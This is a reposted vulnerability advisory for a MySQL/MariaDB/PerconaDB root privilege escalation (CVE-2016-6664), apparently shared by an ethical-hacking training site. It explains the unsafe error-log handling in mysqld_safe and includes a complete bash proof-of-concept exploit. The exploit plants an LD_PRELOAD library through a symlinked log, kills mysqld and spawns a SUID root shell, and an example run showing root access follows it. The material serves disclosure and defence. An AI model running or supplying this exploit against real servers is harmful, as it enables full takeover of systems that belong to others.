Ethical Hacking Training Institute
Extreme Hacking | Sadik Shaikh | Cyber Suraksha Abhiyan
Credits: Dawid
I. VULNERABILITY
-------------------------
MariaDB / MySQL / PerconaDB - Root Privilege Escalation
MySQL
<= 5.5.51
<= 5.6.32
<= 5.7.14
MariaDB
All current
Percona Server
< 5.5.51-38.2
< 5.6.32-78-1
< 5.7.14-8
Percona XtraDB Cluster
< 5.6.32-25.17
< 5.7.14-26.17
< 5.5.41-37.0
II. BACKGROUND
-------------------------
MySQL:
"MySQL
is
the world's most popular open source database.
Whether you are a fast growing web property, technology ISV or large
enterprise, MySQL can cost-effectively help you deliver high performance,
scalable database applications."
"Many of the world's largest and fastest-growing organizations including
Facebook, Google, Adobe, Alcatel Lucent and Zappos rely on MySQL to save time
and money powering their high-volume Web sites, business-critical systems and
packaged software."
http:
//www.mysql.com/products/
http:
//www.mysql.com/why-mysql/
--
MariaDB:
"MariaDB
is
one of the most popular database servers
in
the world.
It’s made by the original developers of MySQL and guaranteed to stay open source.
Notable users include Wikipedia, WordPress.com and Google.
MariaDB turns data into structured information
in
a wide array of applications,
ranging from banking to websites. It
is
an enhanced, drop-
in
replacement
for
MySQL.
MariaDB
is
used because it
is
fast, scalable and robust, with a rich ecosystem of
storage engines, plugins and many other tools make it very versatile
for
a wide
variety of use cases."
https:
//mariadb.org/about/
--
PerconaDB:
"Percona Server
for
MySQL
is
a free, fully compatible, enhanced, open source
drop-
in
replacement
for
MySQL that provides superior performance, scalability
and instrumentation.
With over 3,000,000 downloads, Percona Server’s self-tuning algorithms and support
for
extremely high-performance hardware delivers excellent performance and reliability."
https:
//www.percona.com/software/mysql-database/percona-server
III. INTRODUCTION
-------------------------
MySQL-based databases including MySQL, MariaDB and PerconaDB are affected
by a privilege escalation vulnerability which can let attackers who have
gained access to mysql system user to further escalate their privileges
to root user allowing them to fully compromise the system.
The vulnerability stems from
unsafe
file handling of error logs and
other files.
IV. DESCRIPTION
-------------------------
The error.log file on most
default
installations of MySQL/PerconaDB/MariaDB
databases
is
stored either
in
/var/log/mysql or /var/lib/mysql directory.
The permissions on the file and directory look
as
follows:
root@trusty:/var/lib/mysql# ls -la /var/log/mysql
total 468
drwxr-s--- 2 mysql adm 4096 Sep 11 06:25 .
drwxrwxr-x 36 root syslog 4096 Sep 11 06:25 ..
-rw-r----- 1 mysql adm 0 Sep 11 06:25 error.log
root@trusty:/var/lib/mysql# ls -lad /var/log/mysql
drwxr-s--- 2 mysql adm 4096 Sep 11 06:25 /var/log/mysql
mysqld_safe wrapper that
is
normally used
for
starting MySQL daemon and
creating/reopening the error.log performs certain
unsafe
file operations that
may allow attackers to gain root privileges.
The wrapper script contains a
'while'
loop shown below which monitors the mysqld
process and performs a restart
in
case
of the process failure.
The restart involves re-creation of the error.log file
if
syslog logging has
not been configured instead of error log files (file-based logging
is
the
default
setting on most installations).
--------[ mysqld_safe ]--------
[...]
while
true
do
rm -f
"$pid_file"
# Some extra safety
start_time=`date +%M%S`
eval_log_error
"$cmd"
if
[ $want_syslog -eq 0 -a ! -f
"$err_log"
]; then
touch
"$err_log"
# hypothetical: log was renamed but not
chown $user
"$err_log"
# flushed yet. we'd recreate it with
chmod
"$fmode"
"$err_log"
# wrong owner next time we log, so
set
fi # it up correctly
while
we can!
[...]
-------------------------------
As can be seen, the error.log file
is
created (touch) and chowned to the user
running the mysqld daemon (typically
'mysql'
).
The operation
is
vulnerable to a symlink attack.
would gain access to /var/log or /var/lib/mysql directories (owned by mysql user)
and could therefore easily remove the error.log file and replace it
with a symlink to an arbitrary system file which would result
in
creating
in
arbitrary file on the system with mysql privileges and could be used to escalate
privileges.
The privilege escalation could be triggered instantly (without the need to wait
for
mysql service restart/reboot) by attackers having
'mysql'
account by simply
killing the mysqld child process (launched by the mysqld_safe wrapper).
When the mysqld process gets terminated, the wrapper will then re-itertate the
loop shown above and immediately create a mysql-owned file
in
the location
specified by the attacker
in
the symlink thus allowing attackers to quickly
escalate their privileges.
V. PROOF OF CONCEPT EXPLOIT
-------------------------
-------[ mysql-chowned.sh ]------
#!/bin/bash -p
#
# MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
#
#
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# The exploit requires that file-based logging has been configured (default).
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
#
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / OCVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
#
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
#
# Usage:
# ./mysql-chowned.sh path_to_error.log
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH=
"/bin/bash"
BACKDOORPATH=
"/tmp/mysqlrootsh"
PRIVESCLIB=
"/tmp/privesclib.so"
PRIVESCSRC=
"/tmp/privesclib.c"
SUIDBIN=
"/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e
"\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if
[ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e
"\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
echo -e
"\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
cleanexit 0
}
#intro
echo -e
"\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"
echo -e
"Discovered and coded by: \n\nDawid Golunski \nhttp://www.extremehacking.org \033[0m"
# Args
if
[ $# -lt 1 ]; then
echo -e
"\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e
"It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi
# Priv check
echo -e
"\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q mysql
if
[ $? -ne 0 ]; then
echo -e
"\n[!] You need to execute the exploit as mysql user! Exiting.\n"
exit 3
fi
# Set target paths
ERRORLOG=
"$1"
if
[ ! -f $ERRORLOG ]; then
echo -e
"\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
echo -e
"\n[+] Target MySQL log file set to $ERRORLOG"
# [ Active exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e
"\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
uid_t geteuid(
void
) {
static
uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT,
"geteuid"
);
if
( old_geteuid() == 0 ) {
chown(
"$BACKDOORPATH"
, 0, 0);
chmod(
"$BACKDOORPATH"
, 04777);
//unlink("/etc/ld.so.preload");
}
return
old_geteuid();
}
_solibeof_
/bin/bash -c
"gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if
[ $? -ne 0 ]; then
echo -e
"\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e
"\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if
[ -f /etc/ld.so.preload ]; then
echo -e
"\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi
# Symlink the log file to /etc
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if
[ $? -ne 0 ]; then
echo -e
"\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e
"\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
# Wait for MySQL to re-open the logs
echo -ne
"\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
read -p
"Do you want to kill mysqld process to instantly get root? :) ? [y/n] "
THE_ANSWER
if
[
"$THE_ANSWER"
=
"y"
]; then
echo -e
"Got it. Executing 'killall mysqld' now..."
killall mysqld
fi
while
:;
do
sleep 0.1
if
[ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break
;
fi
done
# /etc/ dir should be owned by mysql user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e
"\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
echo -e
"\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e
"\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e
"\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/
null
>/dev/
null
#while :; do
# sleep 0.1
# ps aux | grep mysqld | grep -q 'log-error'
# if [ $? -eq 0 ]; then
# break;
# fi
#done
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if
[ $? -eq 0 ]; then
echo -e
"\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e
"\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
else
echo -e
"\n[!] Failed to get root"
cleanexit 2
fi
# Execute the rootshell
echo -e
"\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c
"rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p
# Job done.
cleanexit 0
------------EOF------------------
Example run
~~~~~~~~~~~~~~~~
mysql_suid_shell.MYD-4.3$ whoami
mysql
omysql_suid_shell.MYD-4.3$ dpkg -l | grep percona-server-server
iU percona-server-server 5.6.32-78.0-1.xenial amd64 Percona Server database server
iF percona-server-server-5.6 5.6.32-78.0-1.xenial amd64 Percona Server database server binaries
mysql_suid_shell.MYD-4.3$ ./mysql-chowned.sh /var/lib/mysql/xenial-percona.err
MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
mysql-chowned.sh (ver. 1.0)
CVE-2016-6664 / OCVE-2016-5617
Discovered and coded by:
Dawid Golunski
http:
//legalhackers.com
[+] Starting the exploit
as
uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)
[+] Target MySQL log file
set
to /var/lib/mysql/xenial-percona.err
[+] Compiling the privesc shared library (/tmp/privesclib.c)
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 mysql attacker 1037528 Nov 1 05:08 /tmp/mysqlrootsh
[+] Symlink created at:
lrwxrwxrwx 1 mysql attacker 18 Nov 1 05:08 /var/lib/mysql/xenial-percona.err -> /etc/ld.so.preload
[+] Waiting
for
MySQL to re-open the logs/MySQL service restart...
Do you want to kill mysqld process to instantly
get
root? :) ? [y/n] y
Got it. Executing
'killall mysqld'
now...
[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges:
-rw-r----- 1 mysql root 19 Nov 1 05:08 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so
[+] Escalating privileges via the /usr/bin/sudo SUID binary to
get
root!
-rwsrwxrwx 1 root root 1037528 Nov 1 05:08 /tmp/mysqlrootsh
[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 1037528 Nov 1 05:08 /tmp/mysqlrootsh
Got root! The database server has been ch-OWNED !
[+] Spawning the rootshell /tmp/mysqlrootsh now!
mysqlrootsh-4.3# whoami
root
mysqlrootsh-4.3# exit
exit
[+] Cleaning up...
[+] Job done. Exiting with code 0
Video PoC:
~~~~~~~~~~~~~
http:
//legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
VI. BUSINESS IMPACT
-------------------------
Attackers who obtained mysql account through other vulnerabilities
(such
as
CVE-2016-6663) could use
this
exploit to gain root access
and fully compromise the system.
VII. SYSTEMS AFFECTED
-------------------------
MySQL
<= 5.5.51
<= 5.6.32
<= 5.7.14
MariaDB
All current
Percona Server
< 5.5.51-38.2
< 5.6.32-78-1
< 5.7.14-8
Percona XtraDB Cluster
< 5.6.32-25.17
< 5.7.14-26.17
< 5.5.41-37.0
VIII. SOLUTION
-------------------------
Vendors have released patches after
private
disclosure.
Update to the latest version of your DBMS.
www.extremehacking.org
Sadik Shaikh | Cyber Suraksha Abhiyan, Ethical Hacking Training Institute, CEHv9,CHFI,ECSAv9,CAST,ENSA, CCNA, CCNA SECURITY,MCITP,RHCE,CHECKPOINT, ASA FIREWALL,VMWARE,CLOUD,ANDROID,IPHONE,NETWORKING HARDWARE,TRAINING INSTITUTE IN PUNE, Certified Ethical Hacking,Center For Advanced Security Training in India, ceh v9 course in Pune-India, ceh certification in pune-India, ceh v9 training in Pune-India, Ethical Hacking Course in Pune-India
Sadik Shaikh | Cyber Suraksha Abhiyan, Ethical Hacking Training Institute, CEHv9,CHFI,ECSAv9,CAST,ENSA, CCNA, CCNA SECURITY,MCITP,RHCE,CHECKPOINT, ASA FIREWALL,VMWARE,CLOUD,ANDROID,IPHONE,NETWORKING HARDWARE,TRAINING INSTITUTE IN PUNE, Certified Ethical Hacking,Center For Advanced Security Training in India, ceh v9 course in Pune-India, ceh certification in pune-India, ceh v9 training in Pune-India, Ethical Hacking Course in Pune-India